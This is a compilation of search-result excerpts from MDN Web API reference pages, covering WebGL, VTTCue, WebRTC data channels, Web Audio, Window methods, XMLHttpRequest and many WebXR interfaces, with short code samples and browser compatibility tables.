...ition of 'URLUtilsReadOnly.protocol' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ExperimentalChrome No support NoEdge No support NoFirefox Full support 3.5IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 4Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
URLUtilsReadOnly.search - Web APIs
Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. ...
...inition of 'URLUtilsReadOnly.search' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ExperimentalChrome No support NoEdge No support NoFirefox Full support 3.5IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 4Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
URLUtilsReadOnly.toString() - Web APIs
If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...href var result = window.self.toString(); // Returns:'https://developer.mozilla.org/URLUtilsReadOnly.href' Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ExperimentalChrome No support NoEdge No support NoFirefox Full support 3.5IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 4Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
VTTCue - Web APIs
Constructor VTTCue(startTime, endTime, text) Returns a newly created VTTCue object that covers the given time range and has the given text. Param startTime The time, in seconds and fractions of a second, that describes the beginning of the range of the media data to which the cue applies. endTime The time, in seconds and fractions of a second, that describes the end of the range of the media data to which the cue applies. text The raw text of the cue, and rules for its interpretation. ...
...resenting the size of the cue, as a percentage of the video size. VTTCue.textAlign Returns an enum representing the alignment of all the lines of text within the cue box. VTTCue.text Returns a DOMString with the contents of the cue. Methods getCueAsHTML() Returns the cue text as a DocumentFragment. ...
... "showing"; const cueCn = new VTTCue(0, 2.500, '????0?2.5????'); track.addCue(cueCn); const cueEn = new VTTCue(2.6, 4, 'Subtitles will display between 2.6 and 4 seconds'); track.addCue(cueEn); }); Result Chrome: Please Open in JSFiddle to view the live sample. Embed live sample can not show subtitles in Chrome. Specifications Specification Status Comment
WebVTT: The
Web Video Text Tracks Format Candidate Recommendation ...
Boilerplate 1 - Web APIs
<< PreviousNext >> This example describes repeated pieces of code that will be hidden from now on, as well as defining a JavaScript utility function to make
WebGL initialization easier. Boilerplate code for setting up
WebGL rendering context By now you are quite used to seeing the same pieces of HTML, CSS, and JavaScript repeated again and again. So we are going to hide them from now on. This would allow us to focus on the interesting pieces of code that are most relevant for learning
WebGL. Specifically, the HTML has a <p> element that contains some descriptive text about the page and may also hold error messages; a <canvas> element; and optionally a <button>. The CSS contains rules for body, canvas, and button. Any additional non-trivial CSS and HTML will be displayed on t...
... a <p> element that contains some descriptive text about the page and may also hold error messages; a <canvas> element; and optionally a <button>. The CSS contains rules for body, canvas, and button. Any additional non-trivial CSS and HTML will be displayed on the pages of specific examples. In following examples, we will use a JavaScript helper function, getRenderingContext(), to initialize the
WebGL rendering context. By now, you should be able to understand what the function does. Basically, it gets the
WebGL rendering context from the canvas element, initializes the drawing buffer, clears it black, and returns the initialized context. In case of error, it displays an error message and returns null. Finally, all JavaScript code will run within an immediate function, which is a common Jav...
...th : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } JavaScript function getRenderingContext() { var canvas = document.querySelector("canvas"); canvas.width = canvas.clientWidth; canvas.height = canvas.clientHeight; var gl = canvas.getContext("
webgl") || canvas.getContext("experimental-
webgl"); if (!gl) { var paragraph = document.querySelector("p"); paragraph.innerHTML = "Failed to get
WebGL context." + "Your browser or device may not support
WebGL."; return null; } gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); gl.clearColor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.COLOR_BUFFER_BIT); return...
Hello GLSL - Web APIs
Note: This example will most likely work in all modern desktop browsers. But it may not work in some mobile or older browsers. If the canvas remains blank, you can check the output of the next example, which draws exactly the same thing. But remember to read through the explanations and code on this page, before moving on to the next. Hello World program in GLSL A very simple first shader program. ...
...uto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 void main() { gl_Position = vec4(0.0, 0.0, 0.0, 1.0); gl_PointSize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 void main() { gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict" window.addEventListener("load", setup
WebGL, false); var gl, program; function setup
WebGL (evt) { window.removeEventListener(evt.type, setup
WebGL, false); if (!(gl = getRenderingContext())) return; var source = document.querySelector("#vertex-shader").innerHTML; var vertexShader = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vertexShader,source); gl.compileShader(vertexShader); source = document.querySelector("...
...gl.ARRAY_BUFFER, buffer); gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0); } function cleanup() { gl.useProgram(null); if (buffer) gl.deleteBuffer(buffer); if (program) gl.deleteProgram(program); } function getRenderingContext() { var canvas = document.querySelector("canvas"); canvas.width = canvas.clientWidth; canvas.height = canvas.clientHeight; var gl = canvas.getContext("
webgl") || canvas.getContext("experimental-
webgl"); if (!gl) { var paragraph = document.querySelector("p"); paragraph.innerHTML = "Failed to get
WebGL context." + "Your browser or device may not support
WebGL."; return null; } gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight); gl.clearColor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.COLOR_BUFFER_BIT); return...
A simple RTCDataChannel sample - Web APIs
In this example, we will open an RTCDataChannel connection linking two elements on the same page. While that's obviously a contrived scenario, it's useful for demonstrating the flow of connecting two peers. We'll cover the mechanics of accomplishing the connection and transmitting and receiving data, but we will save the bits about locating and linking to a remote computer for another example. The HTML First, let's take a quick look at the HTML that's needed. ...
...ss="buttonright" disabled> Send </button> </div> Finally, there's the little box into which we'll insert the messages. This <div> block will be the second peer. <div class="messagebox" id="receivebox"> <p>Messages received:</p> </div> The JavaScript code While you can just look at the code itself on GitHub, below we'll review the parts of the code that do the heavy lifting. The
WebRTC API makes heavy use of Promises. They make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of ECMAScript 2015, you should read up on them. Similarly, this example uses arrow functions to simplify syntax. Starting up When the script is run, we set up an load event listener, so that once the page is fully loaded, our star...
... ...
Example and tutorial: Simple synth keyboard - Web APIs
This article presents the code and working demo of a video keyboard you can play using the mouse. The keyboard allows you to switch among the standard waveforms as well as one custom waveform, and you can control the master gain using a volume slider beneath the keyboard. This example makes use of the following
Web API interfaces: AudioContext, OscillatorNode, PeriodicWave, and GainNode. Because OscillatorNode is based on AudioScheduledSourceNode, this is to some extent an example for that as well. The video keyboard HTML There are three primary components to the display for our virtual keyboard. The first is the musical keyboard itself. We draw this in a pair of nested <div> elements so that we can make the keyboard horizontally scrollable if all the keys don't fit on the screen, withou...
... .keyboard { width: auto; padding: 0; margin: 0; } .key { cursor: pointer; font: 16px "Open Sans", "Lucida Grande", "Arial", sans-serif; border: 1px solid black; border-radius: 5px; width: 20px; height: 80px; text-align: center; box-shadow: 2px 2px darkgray; display: inline-block; position: relative; margin-right: 3px; user-select: none; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; } .key div { position: absolute; bottom: 0; text-align: center; width: 100%; pointer-events: none; } .key div sub { font-size: 10px; pointer-events: none; } .key:hover { background-color: #eef; } .key:active { background-color: #000; color: #fff; } .octave { display: inline-block; padding: 0 6px 0 0; } .settingsBar { p...
...: middle; } .left span, .left input { vertical-align: middle; } .right { width: 50%; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } JavaScript The JavaScript code begins by initializing a number of variables. let audioContext = new (window.AudioContext || window.
webkitAudioContext)(); let oscList = []; let masterGainNode = null; audioContext is set to reference the global AudioContext object (or
webkitAudioContext if necessary). oscList is set up to be ready to contain a list of all currently-playing oscillators. It starts off empty, since there are none playing yet. masterGainNode is set to null; during the setup process, it will be configured to cont...
Window.content - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. Note: Since Firefox 57 (initially Nightly-only), both the content and _content variants are only available to chrome (privileged) code, and not available to the
web anymore. Returns a Window object for the primary content window. ...
...dard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. Note: Since Firefox 57 (initially Nightly-only), both the content and _content variants are only available to chrome (privileged) code, and not available to the
web anymore. Returns a Window object for the primary content window. This is useful in XUL windows that have a <browser> (or tabbrowser or <iframe>) with type="content-primary" attribute on it -- the most famous example is Firefox main window, browser.xul. In such cases, content returns a reference to the Window object for the document currently displayed in the browser. It is a shortcut for browse...
...imary content window. This is useful in XUL windows that have a <browser> (or tabbrowser or <iframe>) with type="content-primary" attribute on it -- the most famous example is Firefox main window, browser.xul. In such cases, content returns a reference to the Window object for the document currently displayed in the browser. It is a shortcut for browserRef.contentWindow. In unprivileged content (
webpages), content is normally equivalent to top (except in the case of a
webpage loaded in a sidebar, content still refers to the Window of the currently selected tab). Note: Some examples use _content instead of content. The former has been deprecated for a long time, and you should use content in any new code. Syntax var windowObject = window.content; Example Executing the following code i...
Window.prompt() - Web APIs
HTML Living StandardThe definition of 'prompt()' in that specification. Living Standard Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...intended behavior. ...
...rt 3Notes Notes Starting with Opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.Safari Full support 1
WebView Android Full support 1Notes Full support 1Notes Notes Starting with
WebView 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.Chrome Android Full support 18Notes Full support 18Notes Notes Starting with Chrome 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.Firefox Android ...
Window.scroll() - Web APIs
uleThe definition of 'window.scroll()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...netscrollChrome Full support 1Edge Full support 12Firefox Full support 1IE Full support 4Opera Full support 3Safari Full support 1
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
...rameterChrome Full support 45Edge Full support 79Firefox Full support YesIE No support NoOpera Full support 32Safari No support No
WebView Android Full support 45Chrome Android Full support 45Firefox Android Full support YesOpera Android Full support 32Safari iOS No support NoSamsung Internet Android ...
Window.scrollBy() - Web APIs
eThe definition of 'window.scrollBy()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...s Only scrollBy(x-coord, y-coord) is supported.Firefox Full support 1IE Partial support 11Notes Partial support 11Notes Notes Only scrollBy(x-coord, y-coord) is supported.Opera Full support 3Safari Full support 1
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 1Samsung Internet Android ...
...rameterChrome Full support 45Edge Full support 79Firefox Full support YesIE No support NoOpera Full support 32Safari No support No
WebView Android Full support 45Chrome Android Full support 45Firefox Android Full support YesOpera Android Full support 32Safari iOS No support NoSamsung Internet Android ...
Window.setCursor() - Web APIs
The Window.setCursor() method sets the cursor for the current window. Example function setBusyCursor(enable) { window.setCursor(enable ? "wait" : "auto"); } Notes The cursor isn't reset until it's set back to auto. This function is a part of ChromeWindow interface. This function is unavailable to
web pages, which can use the CSS cursor property instead. Specification This is not part of any specification. ...
...ages, which can use the CSS cursor property instead. Specification This is not part of any specification. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetsetCursor Non-standardChrome No support NoEdge No support NoFirefox No support NoIE ? Opera ? Safari ?
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android ? Safari iOS ? Samsung Internet Android No support NoLegend ...
Worker - Web APIs
Not all interfaces and functions are available to scripts inside a Worker. Workers may use XMLHttpRequest for network communication, but its responseXML and channel attributes are always null. (fetch is also available, with no such restrictions.) In Firefox extensions, if you want to use workers with access to js-ctypes, use ChromeWorker object instead. ...
... Not all interfaces and functions are available to scripts inside a Worker. Workers may use XMLHttpRequest for network communication, but its responseXML and channel attributes are always null. (fetch is also available, with no such restrictions.) In Firefox extensions, if you want to use workers with access to js-ctypes, use ChromeWorker object instead. ...
...l interfaces and functions are available to scripts inside a Worker. Workers may use XMLHttpRequest for network communication, but its responseXML and channel attributes are always null. (fetch is also available, with no such restrictions.) In Firefox extensions, if you want to use workers with access to js-ctypes, use ChromeWorker object instead. Constructors Worker() Creates a dedicated
web worker that executes the script at the specified URL. This also works for Blob URLs. Properties Inherits properties from its parent, EventTarget, and implements properties from AbstractWorker. Event handlers AbstractWorker.onerror An EventListener called whenever an ErrorEvent of type error bubbles through to the worker. This is inherited from AbstractWorker. Worker.onmessage An EventLi...
WorkerNavigator.permissions - Web APIs
Specification Status Comment Permissions Working Draft Initial definition. Browser Support The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...g Internetpermissions ExperimentalChrome Full support 43Edge Full support <=79Firefox No support NoIE ? ...
... support Full support No support No support Compatibility unknown Compatibility unknownExperimental. Expect behavior to change in the future.Experimental. Expect behavior to change in the future. See also Permissions API
Web Worker API ...
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
errName = 'NetworkInterruptError'; break; default: errName = 'NetworkError'; break; } } // XXX we have no TCPError implementation right now because it's really hard to // do on b2g18. On mozilla-central we want a proper TCPError that ideally // sub-classes DOMError. Bug 867872 has been filed to implement this and // contains a documented TCPError.
webidl that maps all the error codes we use in // this file to slightly more readable explanations. let error = Cc["@mozilla.org/dom-error;1"].createInstance(Ci.nsIDOMDOMError); error.wrappedJSObject.init(errName); return error; // XXX: errType goes unused } function dumpSecurityInfo(xhr, error) { let channel = xhr.channel; try { dump("Connection status:\n"); if (!error) {...
... + error.name + "\n"); } let secInfo = channel.securityInfo; // Print general connection security state dump("Security Information:\n"); if (secInfo instanceof Ci.nsITransportSecurityInfo) { secInfo.QueryInterface(Ci.nsITransportSecurityInfo); dump("\tSecurity state of connection: "); // Check security state flags if ((secInfo.securityState & Ci.nsI
WebProgressListener.STATE_IS_SECURE) == Ci.nsI
WebProgressListener.STATE_IS_SECURE) { dump("secure connection\n"); } else if ((secInfo.securityState & Ci.nsI
WebProgressListener.STATE_IS_INSECURE) == Ci.nsI
WebProgressListener.STATE_IS_INSECURE) { dump("insecure connection\n"); } else if ((secInfo.securityState & Ci.nsI
WebProgressListener.STATE_IS...
... == Ci.nsI
WebProgressListener.STATE_IS_SECURE) { dump("secure connection\n"); } else if ((secInfo.securityState & Ci.nsI
WebProgressListener.STATE_IS_INSECURE) == Ci.nsI
WebProgressListener.STATE_IS_INSECURE) { dump("insecure connection\n"); } else if ((secInfo.securityState & Ci.nsI
WebProgressListener.STATE_IS_BROKEN) == Ci.nsI
WebProgressListener.STATE_IS_BROKEN) { dump("unknown\n"); dump("\tSecurity description: " + secInfo.shortSecurityDescription + "\n"); dump("\tSecurity error message: " + secInfo.errorMessage + "\n"); } } else { dump("\tNo security info available for this channel\n"); } // Print SSL certificate details if (secInfo instanceof Ci.nsISSLStatusProvider)...
Synchronous and asynchronous requests - Web APIs
"); Here, we're specifying a timeout of 2000 ms. Note: Support for timeout was added in Gecko 12.0. Synchronous request Note: Starting with Gecko 30.0 (Firefox 30.0 / Thunderbird 30.0 / SeaMonkey 2.27), Blink 39.0, and Edge 13, synchronous requests on the main thread have been deprecated due to their negative impact on the user experience. Synchronous XHR requests often cause hangs on the
web. But developers typically don't notice the problem because the hang only manifests with poor network conditions or when the remote server is slow to respond. Synchronous XHR is now in deprecation state. The recommendation is that developers move away from the synchronous API and instead use asynchronous requests. All new XHR features such as timeout or abort are not allowed for synchronous XHR. ...
... if (event.data === "Hello") { var xhr = new XMLHttpRequest(); xhr.open("GET", "myFile.txt", false); // synchronous request xhr.send(null); self.postMessage(xhr.responseText); } }; Note: The effect is asynchronous, because of the use of the Worker. This pattern can be useful, for example in order to interact with the server in the background, or to preload content. See Using
web workers for examples and details. Adapting Sync XHR use cases to the Beacon API There are some cases in which the synchronous usage of XMLHttpRequest is not replaceable, like during the unload, beforeunload, and pagehide events. You should consider using the fetch() API with the keepalive flag. When fetch with keepalive isn't available, you can consider using the navigator.sendBeacon() API, whi...
...o be delayed. window.addEventListener('unload', logData, false); function logData() { var client = new XMLHttpRequest(); client.open("POST", "/log", false); // third parameter indicates sync xhr. :( client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8"); client.send(analyticsData); } Using the sendBeacon() method, the data will be transmitted asynchronously to the
web server when the User Agent has had an opportunity to do so, without delaying the unload or affecting the performance of the next navigation. The following example shows a theoretical analytics code pattern that submits data to a server by using the sendBeacon() method. window.addEventListener('unload', logData, false); function logData() { navigator.sendBeacon("/log", analyticsData); } ...
XRInputSource.profiles - Web APIs
The read-only XRInputSource property profiles returns an array of strings, each describing a configuration profile for the input source. The profile stings are listed in order of specificity, with the most specific profile listed first. Note: The profiles list is always empty when the
WebXR session is in inline mode. Syntax let profileList = xrInputSource.profiles; Value An array of DOMString objects, each describing one configuration profile for the input device represented by the XRInputSource object. Each input profile specifies the preferred visual representation and behavior of the input source. Usage notes Input profile names An input profile name is a string describing a visual representation and behavior the input source may be configured to use. Each string: Has no sp...
... Working Draft Initial defini...
...he product is capable of using Does not provide information about handedness of the device, if applicable The
WebXR Input Profiles Registry is used by device developers and browser developers to attempt to ensure that a given device will report the same profile strings regardless of which browser or other user agent you use. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSource.profiles' in that specification. Working Draft Initial definition. ...
XRInputSource - Web APIs
The
WebXR Device API's XRInputSource interface describes a single source of control input which is part of the user's
WebXR-compatible virtual or augmented reality system. The device is specific to the platform being used, but provides the direction in which it is being aimed and optionally may generate events if the user triggers performs actions using the device. Properties gamepad Read only A Gamepad object describing the state of the buttons and axes on the XR input source, if it is a gamepad or comparable device. If the device isn't a gamepad-like device, this property's value is NULL. ...
...erforms actions using the device. Properties gamepad Read only A Gamepad object describing the state of the buttons and axes on the XR input source, if it is a gamepad or comparable device. If the device isn't a gamepad-like device, this property's value is NULL. Note: While XRInputSource uses the Gamepad interface from the Gamepad API, this input device is strictly associated with the
WebXR hardware and is not a general-purpose gaming device. gripSpaceRead only An XRSpace whose origin tracks the pose which is used to render objects which should appear as if they're held in the hand indicated by handedness. The orientation of this space indicates the angle at which the hand is gripping the object. Read on in the main article on gripSpace for more details on how to use this spa...
... is an XRSpace used to map the input's coordinate system into the world coordinate system. The grip space's coordinate system can then be used to render objects so they appear to be held in the user's hand. For more details on the input source's coordinate system, see the article that covers the gripSpace property in detail. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSource' in that specification. Working Draft Initial definition. ...
XRInputSourceEventInit.frame - Web APIs
providing information about the timestamp at which the new input source event took place, as well as access to the XRFrame method getPose() which can be used to map the coordinates of any XRReferenceSpace to the space in which the event took place. Of course, as a general rule, you won't need to create XRInputSourceEventInit objects yourself. These events are generated by and sent to you by the
WebXR infrastructure. Syntax xrInputSourceEventInit.frame = xrFrame; let xrInputSourceEventInit = { frame: xrFrame }; let xrInputSourceEvent = new XRInputSourceEvent(type, { frame: xrFrame }); Value An XRFrame indicating the time at which the event took place, and providing a getPose() method which can be used to map reference spaces to the world reference space. Usage notes The event frame d...
... let xrInputSourceEvent = new XRInputSourceEvent(type, { frame: xrFrame }); Value An XRFrame indicating the time at which the event took place, and providing a getPose() method which can be used to map reference spaces to the world reference space. Usage notes The event frame does not correspond to a visual frame as is delivered to the frame rendering callback function (see Rendering and the
WebXR frame rendering callback for details on the callback). Instead, the XRFrame specified by the frame property is simply a method to provide access to the getPose() method, which you can use to get the relative positions of the objects in the scene at the time the event occurred. Examples This example creates a new select event and sends it to the XRSession. let event = new XRInputSourceEvent("...
...ou can use to get the relative positions of the objects in the scene at the time the event occurred. Examples This example creates a new select event and sends it to the XRSession. let event = new XRInputSourceEvent("select", { frame: eventFrame, inputSource: source }; if (event) { xrSession.dispatchEvent(event); } Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceEventInit.frame' in that specification. Working Draft Initial definition. ...
XRPermissionDescriptor.optionalFeatures - Web APIs
The XRPermissionDescriptor dictionary's optionalFeatures property is used to specify a list of
WebXR features which your app or site would like to use but can operate without if permission isn't granted to use them. Syntax xrPermissionDescriptor = { mode: xrSessionMode, requiredFeatures: reqFeatureList, optionalFeatures: optFeatureList }; xrPermissionDescriptor.optionalFeatures = optFeatureList; optFeatureList = xrPermissionDescriptor.optionalFeatures; Value An array of strings taken from the XRReferenceSpaceType enumerated type, indicating set of features that your app would like to use, but can operate without if permission to use them isn't available. ...
...FeatureList }; xrPermissionDescriptor.optionalFeatures = optFeatureList; optFeatureList = xrPermissionDescriptor.optionalFeatures; Value An array of strings taken from the XRReferenceSpaceType enumerated type, indicating set of features that your app would like to use, but can operate without if permission to use them isn't available. While further features may be defined in future editions of
WebXR, currently all permitted values come from the XRReferenceSpaceType enumerated type, indicating reference spaces the app rquires to be available. The reference space returned by XRSession.requestReferenceSpace() is either XRReferenceSpace or XRBoundedReferenceSpace. The "Interface" column in the table below indicates which of the two types is returned for each reference space type constant.. R...
... Working Draft Initial definition. ...
XRPermissionDescriptor.requiredFeatures - Web APIs
The XRPermissionDescriptor dictionary's requiredFeatures property should be set prior to calling navigator.permissions.query() to a list of
WebXR features which must be supported for the app to work. This ensures that permissions are checked as applicable to ensure that those features are available upon request. Syntax xrPermissionDescriptor = { mode: xrSessionMode, requiredFeatures: reqFeatureList, optionalFeatures: optFeatureList }; xrPermissionDescriptor.requiredFeatures = reqFeatureList; reqFeatureList = xrPermissionDescriptor.requiredFeatures; Value An array of strings indicating the
WebXR features which must be available for use by the app or site. The permissions check will be performed in such a manner as to verify that all features in the list are available for use w...
...t be available for use by the app or site. The permissions check will be performed in such a manner as to verify that all features in the list are available for use with the user's permission. Currently, all features are members of the XRReferenceSpaceType enumerated type, indicating the reference space types that your app would like permission to use, but can operate without. Future editions of
WebXR may add more recognized features. The permitted values are: The types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them. XRReferenceSpaceType Description Interface bounded-floor Similar to the local type, except the user is not expected to move outside a predetermined bo...
... Working Draft Initial definition. ...
XRPermissionStatus.granted - Web APIs
Currently, all of these strings come from the XRReferenceSpaceType enumerated type. The types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them. ...
...Currently, all of these strings come from the XRReferenceSpaceType enumerated type. The types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them. ...
...mmersive and inline, though it's most useful for inline sessions. It's particularly useful when determining the distance between the viewer and an input, or when working with offset spaces. Otherwise, typically, one of the other reference space types will be used more often. XRReferenceSpace Usage notes Examples Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRPermissionStatus.granted' in that specification. Working Draft Initial definition. ...
XRReferenceSpace: reset event - Web APIs
or orientation of objects oriented using the reference space. This is common when the user calibrates or recalibrates an XR device, or if the device automatically changes its origin after losing tracking of the user, then re-gaining it. In the case of XRBoundedReferenceSpace objects, the reset event can also be fired when the boundsGeometry changes. In either case, the event is sent before any
WebXR animation frames which make use of the new origin are executed. Bubbles Yes Cancelable No Interface XRReferenceSpaceEvent Event handler property onreset Usage notes The reset event indicates that the coordinate system has been reset or reconfigured by changing the reference space's origin, moving and rotating it as indicated by the event'...
...he immediate vicinity of the last-known position. Primarily an issue for unbounded reference spaces. The user is in an unbounded reference space and has moved far enough from the starting position (the reference space's origin) that floating-point or other forms of error or drift are problematic. The coordinate system is thus reset with its new origin at or near the user's current position. The
WebXR infrastructure or hardware drivers detected that the device had temporarily lost tracking, causing the hardware and software to be out of sync on position and orientation. Note: A reset event will not occur if the reference space is able to regain tracking of its previous origin, since that means the origin has not been forced to be relocated. This event is only fired when the origin has to ...
...o approaches. First, you can use the addEventListener() method: viewerRefSpace.addEventListener("reset", (event) => { /* perform reset related tasks */ }); The second option is to set the XRReferenceSpace object's onreset event handler property: viewerRefSpace.onreset = (event) => { /* perform reset related tasks */ }; Specifications Specification Status Comment
WebXR Device APIThe definition of 'reset event' in that specification. Working Draft Initial definition. ...
XRRenderState - Web APIs
The XRRenderState interface of the
WebXR Device API contains configurable values which affect how the imagery generated by an XRSession gets composited. These properties include the range of distances from the viewer within which content should be rendered, the vertical field of view (for inline presentations), and a reference to the XR
WebGLLayer being used as the target for rendering the scene prior to it being presented on the XR device's display or displays. When you apply changes using the XRSession method updateRenderState(), the specified changes take effect after the current animation frame has completed, but before the next one begins. Properties The followiing properties are available on XRRenderState objects. ...
...e target for rendering the scene prior to it being presented on the XR device's display or displays. When you apply changes using the XRSession method updateRenderState(), the specified changes take effect after the current animation frame has completed, but before the next one begins. Properties The followiing properties are available on XRRenderState objects. baseLayer Read only The XR
WebGLLayer from which the browser's compositing system obtains the image for the XR session. depthFar Read only The distance, in meters, of the far clip plane from the viewer. The far clip plane is the plane which is parallel to the display beyond which rendering of the scene no longer takes place. This, essentially, specifies the maximum distance the user can see. depthNear Read only The d...
...the plane, parallel to the display, at which rendering of the scene begins. Any closer to the viewer than this, and no portions of the scene are drawn. inlineVerticalFieldOfView Read only The default vertical field of view, defined in radians, to use when the session is in inline mode. null for all immersive sessions. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRRenderState' in that specification. Working Draft Initial definition. ...
XRRigidTransform.position - Web APIs
the 3D position component of the transform matrix. The units are meters. Note: The w component of the point is always 1.0. ...
...if that fails (probably because bounded-floor isn't supported), we try requesting a local-floor reference space. If we're not in an immersive session, we instead request a viewer reference space. In all cases, once the space has been obtained, it gets passed into...
... Working Draft Initial definition. ...
XRSession: end event - Web APIs
An end event is fired at an XRSession object when the
WebXR session has ended, either because the
web application has chosen to stop the session, or because the user agent terminated the session. ...
... An end event is fired at an XRSession object when the
WebXR session has ended, either because the
web application has chosen to stop the session, or because the user agent terminated the session. ...
... Working Draft Initial definition. ...
XRSession.onsqueeze - Web APIs
Syntax xrSession.onsqueeze = squeezeHandlerFunction; Value A function to be invoked whenever the XRSession receives a squeeze event. ...
... Syntax xrSession.onsqueeze = squeezeHandlerFunction; Value A function to be invoked whenever the XRSession receives a squeeze event. ...
... Working Draft Initial definition. ...
XRSession.onsqueezestart - Web APIs
Syntax xrSession.onsqueezestart = squeezestartHandlerFunction; Value A function to be invoked whenever the XRSession receives a squeezestart event. ...
... Syntax xrSession.onsqueezestart = squeezestartHandlerFunction; Value A function to be invoked whenever the XRSession receives a squeezestart event. ...
...to represent user information. xrSession.onsqueezestart = event => { if (event.inputSource.handedness == user.handedness) { let targetRayPose = event.frame.getPose(event.inputSource.targetRaySpace, myRefSpace; if (targetRayPose) { user.heldObject = findObjectUsingRay(targetRayPose.transform); } } }; Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSession.onsqueezestart' in that specification. Working Draft Initial definition. ...
XRSession.visibilityState - Web APIs
Every time the visibility state changes, a visibilitychange event is fired on the XRSession object. Syntax visibilityState = xrSession.visibilityState; Value A DOMString containing one of the values defined in the enumerated type XRVisibilityState; this string indicates whether or not the XR content is visible to the user and if it is, whether or not it's currently the primary focus. ...
...o the user, it is not the user's primary focus at the moment; it's also possible the session is not currently visible at all. In order to optimize resource utilization, the user agent may be handling the session's requestAnimationFrame() callbacks at a throttled rate. Input controllers are not being processed for the session. Usage notes It's important to keep in mind that because an immersive
WebXR session is potentially being shown using a different display than the HTML document in which it's running (such as when being shown on a headset), the value of a session's visibilityState may not necessarily be the same as the owning document's visibilityState. For instance, if the viewer is using a headset tethered to a computer and the immersive scene is obscured by a configuration UI, the us...
... may not necessarily be the same as the owning document's visibilityState. For instance, if the viewer is using a headset tethered to a computer and the immersive scene is obscured by a configuration UI, the user could peek out from behind the headset and still be able to see the document itself on their computer's monitor. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSession.visibilityState' in that specification. Working Draft Initial definition. ...
XRSessionInit - Web APIs
requiredFeatures Optional An array of values which the returned XRSession must support. These values currently must come from the enumerated type XRReferenceSpaceType. ...
...hod. Properties The following parameters are all optional. If none are included, the device will use a default feature configuration for all options. optionalFeatures Optional An array of values identifying features which the returned XRSession may optionally support. At this time, all features are identified using strings from the XRReferenceSpaceType enumeration, but future updates to the
WebXR standard may add more features. requiredFeatures Optional An array of values which the returned XRSession must support. These values currently must come from the enumerated type XRReferenceSpaceType. More features may be added in future updates to the
WebXR standard. Default features Immersive sessions All immersive (both immersive-vr and immersive-ar) sessions support both the viewer an...
... Security requirements Each reference space or feature type has minimum safety requirements. ...
XRSessionMode - Web APIs
The
WebXR Device API's XRSessionMode enumerated type defines the string values used to identify the possible kinds of session mode that can be used. Values immersive-ar The session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment. The session's environmentBlendMode indicates the method to be used to blend the content together. Important: The immersive-ar mode is defined by the
WebXR Augmented Reality Module, which is not yet stable and should not be used other than for testing and experimentation. immersive-vr Indicates that the rendered session will be displayed using an immersive XR device in VR mode; it is not intended to be overlaid or integrated into the surrounding environment. T...
